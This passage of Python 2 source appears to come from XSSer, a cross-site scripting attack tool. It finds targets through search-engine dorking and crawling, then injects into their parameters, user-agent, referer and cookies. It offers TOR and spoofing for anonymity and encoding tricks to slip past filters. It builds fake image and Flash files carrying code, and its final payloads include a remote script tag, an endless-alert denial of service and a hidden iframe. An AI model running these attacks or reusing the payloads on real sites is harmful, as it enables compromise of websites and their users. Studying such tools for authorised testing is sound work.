  1390. reporter.add_link(dorker.search_url, url)
  1391. else:
  1392. dorker = Dorker(options.dork_engine)
  1393. try:
  1394. for dork in dorks:
  1395. urls = dorker.dork(dork)
  1396. i = 0
  1397. for u in urls: # replace original parameter for injection keyword (XSS)
  1398. p_uri = urlparse(u)
  1399. uri = p_uri.netloc
  1400. path = p_uri.path
  1401. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  1402. for key, value in target_params.iteritems(): # parse params to apply keywords
  1403. for v in value:
  1404. target_params[key] = 'XSS'
  1405. target_url_params = urllib.urlencode(target_params)
  1406. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1407. urls[i] = u
  1408. i = i + 1
  1409. except Exception, e:
  1410. for reporter in self._reporters:
  1411. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  1412. else:
  1413. if urls is not None:
  1414. for url in urls:
  1415. for reporter in self._reporters:
  1416. reporter.add_link(dorker.search_url, url)
  1417. if options.crawling: # crawlering target(s)
  1418. nthreads = options.threads
  1419. self.crawled_urls = list(urls)
  1420. all_crawled = []
  1421. if self.options.crawler_width == None:
  1422. self.options.crawler_width = 3 # default crawlering-width
  1423. if self.options.crawler_local == None:
  1424. self.options.crawler_local = True # default local-crawlering
  1425. for url in set(urls):
  1426. self.report("\n[Info] Crawlering:", url, "- Max limit: ["+ options.crawling+ "] - Deep level: ["+ str(options.crawler_width) + "]")
  1427. self.report("\n", "-"*22)
  1428. crawler = Crawler(self, Curl, all_crawled,
  1429. self.pool)
  1430. crawler.set_reporter(self)
  1431. # now wait for all results to arrive
  1432. while urls:
  1433. self.run_crawl(crawler, urls.pop(), options)
  1434. while not self._landing:
  1435. for reporter in self._reporters:
  1436. reporter.report_state('broad scanning')
  1437. try:
  1438. self.pool.poll()
  1439. except NoResultsPending:
  1440. crawler.cancel()
  1441. break
  1442. if len(self.crawled_urls) >= int(options.crawling) or not crawler._requests:
  1443. self.report("\n[Info] Found enough results... calling all mosquitoes to home!")
  1444. crawler.cancel()
  1445. break
  1446. time.sleep(0.1)
  1447. self.report("\n", "-"*22)
  1448. self.report("\n[Info] Mosquitoes found: " + str(len(self.crawled_urls)) + " payload(s)!\n")
  1449. return self.crawled_urls
  1450. if not options.imx or not options.flash or not options.xsser_gtk or not options.update:
  1451. return urls
  1452. def run_crawl(self, crawler, url, options):
  1453. def _cb(request, result):
  1454. pass
  1455. def _error_cb(request, error):
  1456. for reporter in self._reporters:
  1457. reporter.mosquito_crashed(url, str(error[0]))
  1458. traceback.print_tb(error[2])
  1459. def crawler_main(args):
  1460. return crawler.crawl(*args)
  1461. crawler.crawl(url, int(options.crawler_width),
  1462. int(options.crawling),options.crawler_local)
  1463. def poll_workers(self):
  1464. try:
  1465. self.pool.poll()
  1466. except NoResultsPending:
  1467. pass
  1468. def try_running(self, func, error, args=[]):
  1469. """
  1470. Try running a function and print some error if it fails and exists with
  1471. a fatal error.
  1472. """
  1473. try:
  1474. return func(*args)
  1475. except Exception, e:
  1476. self.report(error, "error")
  1477. if DEBUG:
  1478. traceback.print_exc()
  1479. def check_trace(self):
  1480. """
  1481. Check for Cross Site Tracing (XST) vulnerability:
  1482. 1) check HTTP TRACE method enabled (add 'Max-Forwards: 0' to curl command to bypass some 'Anti-antixst' web proxy rules)
  1483. 2) check data sent on reply
  1484. """
  1485. agent = 'Googlebot/2.1b'
  1486. referer = '127.0.0.1'
  1487. import subprocess, shlex
  1488. if self.options.xst:
  1489. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.xst), stdout=subprocess.PIPE)
  1490. if self.options.target:
  1491. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.target), stdout=subprocess.PIPE)
  1492. line1 = xst.stdout.readline()
  1493. print ""
  1494. while True:
  1495. line = xst.stdout.readline()
  1496. if line != '':
  1497. print line.rstrip()
  1498. else:
  1499. break
  1500. print ""
  1501. self.report('='*75)
  1502. if "200 OK" in line1.rstrip():
  1503. print "[Info] Target is vulnerable to XST! (Cross Site Tracing) ;-)"
  1504. else:
  1505. print "[Info] Target is NOT vulnerable to XST (Cross Site Tracing) ..."
  1506. if self.options.target:
  1507. self.report('='*75)
  1508. def start_wizard(self):
  1509. """
  1510. Start Wizard Helper
  1511. """
  1512. #step 0: Menu
  1513. ans1=True
  1514. ans2=True
  1515. ans3=True
  1516. ans4=True
  1517. ans5=True
  1518. ans6=True
  1519. #step 1: Where
  1520. while ans1:
  1521. print("""\nA)- Where are your targets?\n
  1522. [1]- I want to enter the url of my target directly.
  1523. [2]- I want to enter a list of targets from a .txt file.
  1524. *[3]- I don't know where are my target(s)... I just want to explore! :-)
  1525. [e]- Exit/Quit/Abort.
  1526. """)
  1527. ans1 = raw_input("Your choice: [1], [2], [3] or [e]xit\n")
  1528. if ans1 == "1": # from url
  1529. url = raw_input("Target url (ex: http(s)://target.com): ")
  1530. if url.startswith("http"):
  1531. ans1 = None
  1532. else:
  1533. print "\n[Error] Your url is not valid!. Try again!"
  1534. pass
  1535. elif ans1 == "2": # from file
  1536. url = raw_input("Path to file (ex: 'targets_list.txt'): ")
  1537. if url == None:
  1538. print "\n[Error] Your are not providing a valid file. Try again!"
  1539. pass
  1540. else:
  1541. ans1 = None
  1542. elif ans1 == "3": # dorking
  1543. url = "DORKING"
  1544. ans1 = None
  1545. elif (ans1 == "e" or ans1 == "E"):
  1546. print "Closing wizard..."
  1547. ans1=None
  1548. ans2=None
  1549. ans3=None
  1550. ans4=None
  1551. ans5=None
  1552. ans6=None
  1553. else:
  1554. print "\nNot valid choice. Try again!"
  1555. #step 2: How
  1556. while ans2:
  1557. print 22*"-"
  1558. print("""\nB)- How do you want to connect?\n
  1559. [1]- I want to connect using GET and select some possible vulnerable parameter(s) directly.
  1560. [2]- I want to connect using POST and select some possible vulnerable parameter(s) directly.
  1561. [3]- I want to "crawl" all the links of my target(s) to found as much vulnerabilities as possible.
  1562. *[4]- I don't know how to connect... Just do it! :-)
  1563. [e]- Exit/Quit/Abort.
  1564. """)
  1565. ans2 = raw_input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  1566. if ans2 == "1": # using GET
  1567. payload = raw_input("GET payload (ex: '/menu.php?q='): ")
  1568. if payload == None:
  1569. print "\n[Error] Your are providing an empty payload. Try again!"
  1570. pass
  1571. else:
  1572. self.user_template_conntype = "GET"
  1573. ans2 = None
  1574. elif ans2 == "2": # using POST
  1575. payload = raw_input("POST payload (ex: 'foo=1&bar='): ")
  1576. if payload == None:
  1577. print "\n[Error] Your are providing an empty payload. Try again!"
  1578. pass
  1579. else:
  1580. self.user_template_conntype = "POST"
  1581. ans2 = None
  1582. elif ans2 == "3": # crawlering
  1583. payload = "CRAWLER"
  1584. ans2 = None
  1585. elif ans2 == "4": # crawlering
  1586. payload = "CRAWLER"
  1587. ans2 = None
  1588. elif (ans2 == "e" or ans2 == "E"):
  1589. print "Closing wizard..."
  1590. ans2=None
  1591. ans3=None
  1592. ans4=None
  1593. ans5=None
  1594. ans6=None
  1595. else:
  1596. print "\nNot valid choice. Try again!"
  1597. #step 3: Proxy
  1598. while ans3:
  1599. print 22*"-"
  1600. print("""\nC)- Do you want to be 'anonymous'?\n
  1601. [1]- Yes. I want to use my proxy and apply automatic spoofing methods.
  1602. [2]- Anonymous?. Yes!!!. I have a TOR proxy ready at: http://127.0.0.1:8118.
  1603. *[3]- Yes. But I haven't any proxy. :-)
  1604. [4]- No. It's not a problem for me to connect directly to the target(s).
  1605. [e]- Exit/Quit.
  1606. """)
  1607. ans3 = raw_input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  1608. if ans3 == "1": # using PROXY + spoofing
  1609. proxy = raw_input("Enter proxy [http(s)://server:port]: ")
  1610. ans3 = None
  1611. elif ans3 == "2": # using TOR + spoofing
  1612. proxy = 'Using TOR (default: http://127.0.0.1:8118)'
  1613. proxy = 'http://127.0.0.1:8118'
  1614. ans3 = None
  1615. elif ans3 == "3": # only spoofing
  1616. proxy = 'Proxy: No - Spoofing: Yes'
  1617. ans3 = None
  1618. elif ans3 == "4": # no spoofing
  1619. proxy = 'Proxy: No - Spoofing: No'
  1620. ans3 = None
  1621. elif (ans3 == "e" or ans3 == "E"):
  1622. print "Closing wizard..."
  1623. ans3=None
  1624. ans4=None
  1625. ans5=None
  1626. ans6=None
  1627. else:
  1628. print "\nNot valid choice. Try again!"
  1629. #step 4: Bypasser(s)
  1630. while ans4:
  1631. print 22*"-"
  1632. print("""\nD)- Which 'bypasser(s' do you want to use?\n
  1633. [1]- I want to inject XSS scripts without any encoding.
  1634. [2]- Try to inject code using 'Hexadecimal'.
  1635. [3]- Try to inject code mixing 'String.FromCharCode()' and 'Unescape()'.
  1636. [4]- I want to inject using 'Character Encoding Mutations' (Une+Str+Hex).
  1637. *[5]- I don't know exactly what is a 'bypasser'... But I want to inject code! :-)
  1638. [e]- Exit/Quit.
  1639. """)
  1640. ans4 = raw_input("Your choice: [1], [2], [3], [4], [5] or [e]xit\n")
  1641. if ans4 == "1": # no encode
  1642. enc = "Not using encoders"
  1643. ans4 = None
  1644. elif ans4 == "2": # enc: Hex
  1645. enc = 'Hex'
  1646. ans4 = None
  1647. elif ans4 == "3": # enc: Str+Une
  1648. enc = 'Str+Une'
  1649. ans4 = None
  1650. elif ans4 == "4": # enc: Mix: Une+Str+Hex
  1651. enc = "Une,Str,Hex"
  1652. ans4 = None
  1653. elif ans4 == "5": # enc: no encode
  1654. enc = 'Not using encoders'
  1655. ans4 = None
  1656. elif (ans4 == "e" or ans4 == "E"):
  1657. print "Closing wizard..."
  1658. ans4=None
  1659. ans5=None
  1660. ans6=None
  1661. else:
  1662. print "\nNot valid choice. Try again!"
  1663. #step 5: Exploiting
  1664. while ans5:
  1665. print 22*"-"
  1666. print("""\nE)- Which final code do you want to 'exploit' on vulnerabilities found?\n
  1667. [1]- I want to inject a classic "Alert" message box.
  1668. [2]- I want to inject my own scripts.
  1669. *[3]- I don't want to inject a final code... I just want to discover vulnerabilities! :-)
  1670. [e]- Exit/Quit.
  1671. """)
  1672. ans5 = raw_input("Your choice: [1], [2], [3] or [e]xit\n")
  1673. if ans5 == "1": # alertbox
  1674. script = 'Alertbox'
  1675. ans5 = None
  1676. elif ans5 == "2": # manual
  1677. script = raw_input("Enter code (ex: '><script>alert('XSS');</script>): ")
  1678. if script == None:
  1679. print "\n[Error] Your are providing an empty script to inject. Try again!"
  1680. pass
  1681. else:
  1682. ans5 = None
  1683. elif ans5 == "3": # no exploit
  1684. script = 'Not exploiting code'
  1685. ans5 = None
  1686. elif (ans5 == "e" or ans5 == "E"):
  1687. print "Closing wizard..."
  1688. ans5=None
  1689. ans6=None
  1690. else:
  1691. print "\nNot valid choice. Try again!"
  1692. #step 6: Final
  1693. while ans6:
  1694. print 22*"-"
  1695. print "\nVery nice!. That's all. Your last step is to -accept or not- this template.\n"
  1696. print "A)- Target:", url
  1697. print "B)- Payload:", payload
  1698. print "C)- Privacy:", proxy
  1699. print "D)- Bypasser(s):", enc
  1700. print "E)- Final:", script
  1701. print("""
  1702. [Y]- Yes. Accept it and start testing!.
  1703. [N]- No. Abort it?.
  1704. """)
  1705. ans6 = raw_input("Your choice: [Y] or [N]\n")
  1706. if (ans6 == "y" or ans6 == "Y"): # YES
  1707. start = 'YES'
  1708. print 'Good fly... and happy "Cross" hacking !!! :-)\n'
  1709. ans6 = None
  1710. elif (ans6 == "n" or ans6 == "N"): # NO
  1711. start = 'NO'
  1712. print "Aborted!. Closing wizard..."
  1713. ans6 = None
  1714. else:
  1715. print "\nNot valid choice. Try again!"
  1716. if url and payload and proxy and enc and script:
  1717. return url, payload, proxy, enc, script
  1718. else:
  1719. return
  1720. def create_fake_image(self, filename, payload):
  1721. """
  1722. Create -fake- image with code injected
  1723. """
  1724. options = self.options
  1725. filename = options.imx
  1726. payload = options.script
  1727. image_xss_injections = ImageInjections()
  1728. image_injections = image_xss_injections.image_xss(options.imx , options.script)
  1729. return image_injections
  1730. def create_fake_flash(self, filename, payload):
  1731. """
  1732. Create -fake- flash movie (.swf) with code injected
  1733. """
  1734. options = self.options
  1735. filename = options.flash
  1736. payload = options.script
  1737. flash_xss_injections = FlashInjections()
  1738. flash_injections = flash_xss_injections.flash_xss(options.flash, options.script)
  1739. return flash_injections
  1740. def create_gtk_interface(self):
  1741. """
  1742. Create GTK Interface
  1743. """
  1744. options = self.options
  1745. from core.gtkcontroller import Controller, reactor
  1746. uifile = "xsser.ui"
  1747. controller = Controller(uifile, self)
  1748. self._reporters.append(controller)
  1749. if reactor:
  1750. reactor.run()
  1751. else:
  1752. import gtk
  1753. gtk.main()
  1754. return controller
  1755. def run(self, opts=None):
  1756. """
  1757. Run xsser.
  1758. """
  1759. self._landing = False
  1760. for reporter in self._reporters:
  1761. reporter.start_attack()
  1762. if opts:
  1763. options = self.create_options(opts)
  1764. self.set_options(options)
  1765. if not self.mothership and not self.hub:
  1766. self.hub = HubThread(self)
  1767. self.hub.start()
  1768. options = self.options
  1769. # step 0: third party tricks
  1770. try:
  1771. if self.options.imx: # create -fake- image with code injected
  1772. p = self.optionParser
  1773. self.report('='*75)
  1774. self.report(str(p.version))
  1775. self.report('='*75)
  1776. self.report("[Image XSS auto-builder]... remember; only IE6 and versions below.")
  1777. self.report('='*75)
  1778. self.report(''.join(self.create_fake_image(self.options.imx, self.options.script)))
  1779. self.report('='*75 + "\n")
  1780. except:
  1781. return
  1782. if options.flash: # create -fake- flash movie (.swf) with code injected
  1783. p = self.optionParser
  1784. self.report('='*75)
  1785. self.report(str(p.version))
  1786. self.report('='*75)
  1787. self.report("[Flash Attack! XSS auto-builder]... ready to be embedded ;)")
  1788. self.report('='*75)
  1789. self.report(''.join(self.create_fake_flash(self.options.flash, self.options.script)))
  1790. self.report('='*75 + "\n")
  1791. if options.xsser_gtk:
  1792. self.create_gtk_interface()
  1793. return
  1794. if self.options.wizard: # start a wizard helper
  1795. p = self.optionParser
  1796. self.report('='*75)
  1797. self.report(str(p.version))
  1798. self.report('='*75)
  1799. self.report("[Wizard] Generating XSS attack...")
  1800. self.report('='*75)
  1801. self.user_template = self.start_wizard()
  1802. if self.options.xst: # check for cross site tracing
  1803. p = self.optionParser
  1804. if not self.options.target:
  1805. self.report('='*75)
  1806. self.report(str(p.version))
  1807. self.report('='*75)
  1808. self.report("[XST Attack!] checking for HTTP TRACE method ...")
  1809. self.report('='*75)
  1810. self.check_trace()
  1811. nthreads = max(1, abs(options.threads))
  1812. nworkers = len(self.pool.workers)
  1813. if nthreads != nworkers:
  1814. if nthreads < nworkers:
  1815. self.pool.dismissWorkers(nworkers-nthreads)
  1816. else:
  1817. self.pool.createWorkers(nthreads-nworkers)
  1818. for reporter in self._reporters:
  1819. reporter.report_state('scanning')
  1820. # step 1: get urls
  1821. urls = self.try_running(self._get_attack_urls, "\n[Error] Internal error getting -targets-")
  1822. for reporter in self._reporters:
  1823. reporter.report_state('arming')
  1824. # step 2: get payloads
  1825. payloads = self.try_running(self.get_payloads, "\n[Error] Internal error getting -payloads-")
  1826. for reporter in self._reporters:
  1827. reporter.report_state('cloaking')
  1828. if options.Dwo:
  1829. payloads = self.process_payloads_ipfuzzing(payloads)
  1830. elif options.Doo:
  1831. payloads = self.process_payloads_ipfuzzing_octal(payloads)
  1832. for reporter in self._reporters:
  1833. reporter.report_state('locking targets')
  1834. # step 3: get query string
  1835. query_string = self.try_running(self.get_query_string, "\n[Error] Internal error getting query -string-")
  1836. # step 4: print curl options if requested
  1837. if options.verbose:
  1838. Curl.print_options()
  1839. for reporter in self._reporters:
  1840. reporter.report_state('sanitize')
  1841. urls = self.sanitize_urls(urls)
  1842. for reporter in self._reporters:
  1843. reporter.report_state('attack')
  1844. # step 5: perform attack
  1845. self.try_running(self.attack, "\n[Error] Internal problems running attack: ", (urls, payloads, query_string))
  1846. for reporter in self._reporters:
  1847. reporter.report_state('reporting')
  1848. if len(self.final_attacks):
  1849. self.report("Waiting for tokens to arrive")
  1850. while self._ongoing_requests and not self._landing:
  1851. if not self.pool:
  1852. self.mothership.poll_workers()
  1853. else:
  1854. self.poll_workers()
  1855. time.sleep(0.2)
  1856. for reporter in self._reporters:
  1857. reporter.report_state('final sweep..')
  1858. print("="*75 + "\n")
  1859. if self.pool:
  1860. self.pool.dismissWorkers(len(self.pool.workers))
  1861. self.pool.joinAllDismissedWorkers()
  1862. start = time.time()
  1863. while not self._landing and len(self.final_attacks) and time.time() - start < 5.0:
  1864. time.sleep(0.2)
  1865. for reporter in self._reporters:
  1866. reporter.report_state('landing.. '+str(int(5.0 - (time.time() - start))))
  1867. if self.final_attacks:
  1868. self.report("Forcing a reverse connection XSSer will certify that your target is 100% vulnerable\n")
  1869. for final_attack in self.final_attacks.itervalues():
  1870. if not final_attack['url'] == None:
  1871. self.report("Connecting from:", final_attack['url'] , "\n")
  1872. self.report(",".join(self.successfull_urls) , "is connecting remotely to XSSer... You have it! ;-)", "\n")
  1873. self.report("="*50 + "\n")
  1874. for reporter in self._reporters:
  1875. reporter.end_attack()
  1876. if self.mothership:
  1877. self.mothership.remove_reporter(self)
  1878. print("="*75 + "\n")
  1879. self.report("Mosquito(es) landed!\n")
  1880. else:
  1881. self.report("Mosquito(es) landed!")
  1882. self.print_results()
  1883. def sanitize_urls(self, urls):
  1884. all_urls = set()
  1885. if urls is not None:
  1886. for url in urls:
  1887. if url.startswith("http://") or url.startswith("https://"):
  1888. self.urlspoll.append(url)
  1889. all_urls.add(url)
  1890. else:
  1891. self.report("\nThis target: (" + url + ") is not a correct url [DISCARDED]\n")
  1892. url = None
  1893. else:
  1894. print "\n[Info] Not any valid source provided to start a test... Aborting!\n"
  1895. return all_urls
  1896. def land(self, join=False):
  1897. self._landing = True
  1898. if self.hub:
  1899. self.hub.shutdown()
  1900. if join:
  1901. self.hub.join()
  1902. self.hub = None
  1903. def _prepare_extra_attacks(self, payload):
  1904. """
  1905. Setup extra attacks.
  1906. """
  1907. agents = [] # user-agents
  1908. try:
  1909. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  1910. except:
  1911. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  1912. for line in f:
  1913. agents.append(line)
  1914. agent = random.choice(agents).strip() # set random user-agent
  1915. referer = "127.0.0.1"
  1916. options = self.options
  1917. cookie = None
  1918. if 'PAYLOAD' in payload['payload']: # auto
  1919. if options.xsa:
  1920. hashing = self.generate_hash('xsa')
  1921. agent = payload['payload'].replace('PAYLOAD', hashing)
  1922. self._ongoing_attacks['xsa'] = hashing
  1923. self.xsa_injection = self.xsa_injection + 1
  1924. else:
  1925. if options.agent:
  1926. agent = options.agent
  1927. if options.xsr:
  1928. hashing = self.generate_hash('xsr')
  1929. referer = payload['payload'].replace('PAYLOAD', hashing)
  1930. self._ongoing_attacks['xsr'] = hashing
  1931. self.xsr_injection = self.xsr_injection + 1
  1932. else:
  1933. if options.referer:
  1934. referer = options.referer
  1935. if options.coo:
  1936. hashing = self.generate_hash('cookie')
  1937. cookie = payload['payload'].replace('PAYLOAD', hashing)
  1938. self._ongoing_attacks['cookie'] = hashing
  1939. self.coo_injection = self.coo_injection + 1
  1940. elif 'XSS' in payload['payload']: # manual
  1941. if options.xsa:
  1942. hashing = self.generate_hash('xsa')
  1943. agent = payload['payload'].replace('XSS', hashing)
  1944. self._ongoing_attacks['xsa'] = hashing
  1945. self.xsa_injection = self.xsa_injection + 1
  1946. else:
  1947. if options.agent:
  1948. agent = options.agent
  1949. if options.xsr:
  1950. hashing = self.generate_hash('xsr')
  1951. referer = payload['payload'].replace('XSS', hashing)
  1952. self._ongoing_attacks['xsr'] = hashing
  1953. self.xsr_injection = self.xsr_injection + 1
  1954. else:
  1955. if options.referer:
  1956. referer = options.referer
  1957. if options.coo:
  1958. hashing = self.generate_hash('cookie')
  1959. cookie = payload['payload'].replace('XSS', hashing)
  1960. self._ongoing_attacks['cookie'] = hashing
  1961. self.coo_injection = self.coo_injection + 1
  1962. elif '1' in payload['payload']: # manual
  1963. if options.xsa:
  1964. hashing = self.generate_numeric_hash()
  1965. agent = payload['payload'].replace('1', hashing)
  1966. self._ongoing_attacks['xsa'] = hashing
  1967. self.xsa_injection = self.xsa_injection + 1
  1968. else:
  1969. if options.agent:
  1970. agent = options.agent
  1971. if options.xsr:
  1972. hashing = self.generate_numeric_hash()
  1973. referer = payload['payload'].replace('1', hashing)
  1974. self._ongoing_attacks['xsr'] = hashing
  1975. self.xsr_injection = self.xsr_injection + 1
  1976. else:
  1977. if options.referer:
  1978. referer = options.referer
  1979. if options.coo:
  1980. hashing = self.generate_numeric_hash()
  1981. cookie = payload['payload'].replace('1', hashing)
  1982. self._ongoing_attacks['cookie'] = hashing
  1983. self.coo_injection = self.coo_injection + 1
  1984. else: # default
  1985. if options.xsa:
  1986. hashing = self.generate_hash('xsa')
  1987. agent = "<script>alert('" + hashing + "')</script>"
  1988. self._ongoing_attacks['xsa'] = hashing
  1989. self.xsa_injection = self.xsa_injection + 1
  1990. else:
  1991. if options.agent:
  1992. agent = options.agent
  1993. if options.xsr:
  1994. hashing = self.generate_hash('xsr')
  1995. referer = "<script>alert('" + hashing + "')</script>"
  1996. self._ongoing_attacks['xsr'] = hashing
  1997. self.xsr_injection = self.xsr_injection + 1
  1998. else:
  1999. if options.referer:
  2000. referer = options.referer
  2001. if options.coo:
  2002. hashing = self.generate_hash('cookie')
  2003. cookie = "<script>alert('" + hashing + "')</script>"
  2004. self._ongoing_attacks['cookie'] = hashing
  2005. self.coo_injection = self.coo_injection + 1
  2006. return agent, referer, cookie
  2007. def attack(self, urls, payloads, query_string):
  2008. """
  2009. Perform an attack on the given urls with the provided payloads and
  2010. query_string.
  2011. """
  2012. for url in urls:
  2013. if self.pool:
  2014. self.poll_workers()
  2015. else:
  2016. self.mothership.poll_workers()
  2017. if not self._landing:
  2018. self.attack_url(url, payloads, query_string)
  2019. def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  2020. """
  2021. Generate a real attack url by using data from a successfull test.
  2022. This method also applies DOM stealth mechanisms.
  2023. """
  2024. user_attack_payload = payload['payload']
  2025. if self.options.finalpayload:
  2026. user_attack_payload = self.options.finalpayload
  2027. elif self.options.finalremote:
  2028. user_attack_payload = '<script src="' + self.options.finalremote + '"></script>'
  2029. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]":
  2030. user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>'
  2031. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]":
  2032. user_attack_payload = self.options.finalpayload
  2033. if self.options.dos:
  2034. user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>'
  2035. if self.options.doss:
  2036. user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">'
  2037. if self.options.b64:
  2038. user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">'
  2039. if self.options.onm:
  2040. user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload
  2041. if self.options.ifr:
  2042. user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>'
  2043. do_anchor_payload = self.options.anchor
  2044. anchor_data = None
  2045. attack_hash = None
  2046. if 'PAYLOAD' in payload['payload']:
  2047. if user_attack_payload == "":
  2048. attack_hash = self.generate_hash('final')
  2049. user_attack_payload = payload['payload']
  2050. user_attack_payload = payload['payload'].replace('PAYLOAD', attack_hash)
  2051. else:
  2052. user_attack_payload = payload['payload'].replace('PAYLOAD', user_attack_payload)
  2053. if 'XSS' in user_attack_payload:
  2054. attack_hash = self.generate_hash('final')
  2055. user_attack_payload = user_attack_payload.replace('XSS', attack_hash)
  2056. if do_anchor_payload:
  2057. dest_url, newhash = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  2058. dest_url = dest_url.replace('?', '#')
  2059. else:
  2060. dest_url, newhash = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  2061. if attack_hash:
  2062. self.final_attacks[attack_hash] = {'url':dest_url}
  2063. return dest_url
  2064. def token_arrived(self, attack_hash):
  2065. if not self.mothership:
  2066. # only the mothership calls on token arriving.
  2067. self.final_attack_callback(attack_hash)
  2068. def final_attack_callback(self, attack_hash):
  2069. if attack_hash in self.final_attacks:
  2070. dest_url = self.final_attacks[attack_hash]['url']
  2071. self.report('[*] Browser check:', dest_url)
  2072. for reporter in self._reporters:
  2073. reporter.add_checked(dest_url)
  2074. if self._reporter:
  2075. from twisted.internet import reactor
  2076. reactor.callFromThread(self._reporter.post, 'SUCCESS ' + dest_url)
  2077. self.final_attacks.pop(attack_hash)
  2078. def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  2079. real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
  2080. #generate_shorturls = self.options.shorturls
  2081. #if generate_shorturls:
  2082. # shortener = ShortURLReservations(self.options.shorturls)
  2083. # if self.options.finalpayload or self.options.finalremote or self.options.b64 or self.options.dos:
  2084. # shorturl = shortener.process_url(real_attack_url)
  2085. # self.report("[/] Shortered URL (Final Attack):", shorturl)
  2086. # else:
  2087. # shorturl = shortener.process_url(dest_url)
  2088. # self.report("[/] Shortered URL (Injection):", shorturl)
  2089. return real_attack_url
  2090. def report(self, *args):
  2091. args = list(map(lambda s: str(s), args))
  2092. formatted = " ".join(args)
  2093. if not self.options.silent:
  2094. print(formatted)
  2095. for reporter in self._reporters:
  2096. reporter.post(formatted)
  2097. def print_results(self):
  2098. """
  2099. Print results from attack.
  2100. """
  2101. self.report('\n' + '='*75)
  2102. total_injections = len(self.hash_found) + len(self.hash_notfound)
  2103. if len(self.hash_found) + len(self.hash_notfound) == 0:
  2104. pass
  2105. else:
  2106. self.report("[*] Final Results:")
  2107. self.report('='*75 + '\n')
  2108. self.report("- Injections:", total_injections)
  2109. self.report("- Failed:", len(self.hash_notfound))
  2110. self.report("- Successful:", len(self.hash_found))
  2111. try:
  2112. _accur = len(self.hash_found) * 100 / total_injections
  2113. except ZeroDivisionError:
  2114. _accur = 0
  2115. self.report("- Accur: %s %%\n" % _accur)
  2116. if not len(self.hash_found) and self.hash_notfound:
  2117. self.report('='*75 + '\n')
  2118. pass
  2119. else:
  2120. self.report('='*75)
  2121. self.report("[*] List of possible XSS injections:")
  2122. self.report('='*75 + '\n')
  2123. for line in self.hash_found:
  2124. attack_url = self.apply_postprocessing(line[0], line[1], line[2], line[3], line[4], line[5], line[6])
  2125. if self.options.fileoutput:
  2126. fout = open("XSSreport.raw", "a")
  2127. if line[2] == "xsr":
  2128. self.xsr_found = self.xsr_found + 1
  2129. xsr_vulnerable_host = [{"payload":str(line[4]), "target":str(line[6])}]
  2130. if xsr_vulnerable_host[0]["payload"] == line[4] and xsr_vulnerable_host[0]["target"] == line[6] and self.xsr_found > 1:
  2131. self.xsr_found = self.xsr_found - 1
  2132. pass
  2133. else:
  2134. self.report("[I] Target:", line[6])
  2135. self.report("[+] Injection:",str(line[6])+"/"+str(line[4]), "[", Curl.referer, "]")
  2136. self.report("[!] Special:", "This injection looks like a Cross Site Referer Scripting")
  2137. self.report("[-] Method:", line[2])
  2138. self.report('-'*50, "\n")
  2139. if self.options.fileoutput:
  2140. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2141. fout.write("---------------------" + "\n")
  2142. fout.write("[I] Target: " + line[6] + "\n")
  2143. fout.write("[+] Injection: " + str(line[6])+"/"+str(line[4]) + "[" + str(Curl.referer) + "]" + "\n")
  2144. fout.write("[!] Special: " + "This injections looks like a Cross Site Referer Scripting" + "\n")
  2145. fout.write("[-] Method: " + line[2] + "\n" + '-'*50 +"\n")
  2146. elif line[2] == "xsa":
  2147. self.xsa_found = self.xsa_found + 1
  2148. xsa_vulnerable_host = [{"payload":str(line[4]), "target":str(line[6])}]
  2149. if xsa_vulnerable_host[0]["payload"] == line[4] and xsa_vulnerable_host[0]["target"] == line[6] and self.xsa_found > 1:
  2150. self.xsa_found = self.xsa_found - 1
  2151. pass
  2152. else:
  2153. self.report("[I] Target:", line[6])
  2154. self.report("[+] Injection:",str(line[6])+"/"+str(line[4]),
  2155. "[", Curl.agent, "]")
  2156. self.report("[!] Special:", "This injection looks like a Cross Site Agent Scripting")
  2157. self.report("[-] Method:", line[2])
  2158. self.report('-'*50, "\n")
  2159. if self.options.fileoutput:
  2160. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2161. fout.write("---------------------" + "\n")
  2162. fout.write("[I] Target: " + line[6] + "\n")
  2163. fout.write("[+] Injection: "+ str(line[6])+"/"+str(line[4]) + "[" + str(Curl.agent) + "]" + "\n")
  2164. fout.write("[!] Special: " + "This injection looks like a Cross Site Agent Scripting " + "\n")
  2165. fout.write("[-] Method: " + line[2] + "\n" + '-'*50 +"\n")
  2166. elif line[2] == "coo":
  2167. self.coo_found = self.coo_found + 1
  2168. coo_vulnerable_host = [{"payload":str(line[4]), "target":str(line[6])}]
  2169. if coo_vulnerable_host[0]["payload"] == line[4] and coo_vulnerable_host[0]["target"] == line[6] and self.coo_found > 1:
  2170. self.coo_found = self.coo_found - 1
  2171. pass
  2172. else:
  2173. self.report("[I] Target:", line[6])
  2174. self.report("[+] Injection:",str(line[6])+"/"+str(line[4]),"[",
  2175. Curl.cookie, "]")
  2176. self.report("[!] Special:", "This injection looks like a Cross Site Cookie Scripting")
